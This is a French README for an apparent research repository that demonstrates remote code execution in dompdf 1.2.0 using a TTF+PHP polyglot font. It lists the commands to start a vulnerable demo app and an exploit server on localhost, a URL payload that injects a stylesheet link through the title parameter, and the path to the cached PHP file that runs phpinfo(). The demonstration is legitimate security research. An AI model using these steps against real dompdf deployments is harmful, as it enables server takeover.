Exploit RCE pour dompdf

Ce dépôt contient une application de démonstration vulnérable utilisant dompdf 1.2.0 ainsi qu'un exploit qui permet l'exécution de code à distance via un fichier polyglotte ttf+php.

Pour plus de détails, veuillez consulter https://positive.security/blog/dompdf-rce

Instructions

1. Lancez l'application de démonstration

$ cd application
$ php -S localhost:9000

2. Lancez le serveur de l'exploit

$ cd exploit
$ php -S localhost:9001

3. Déclenchez l'exploit

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

4. Accédez au fichier « police » php en cache et exécutez phpinfo()

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

Veuillez noter : Si vous utilisez des domaines ou des ports différents, veuillez modifier exploit/exploit.css en conséquence et vérifier dans application/dompdf/lib/fonts le nom complet du fichier de police.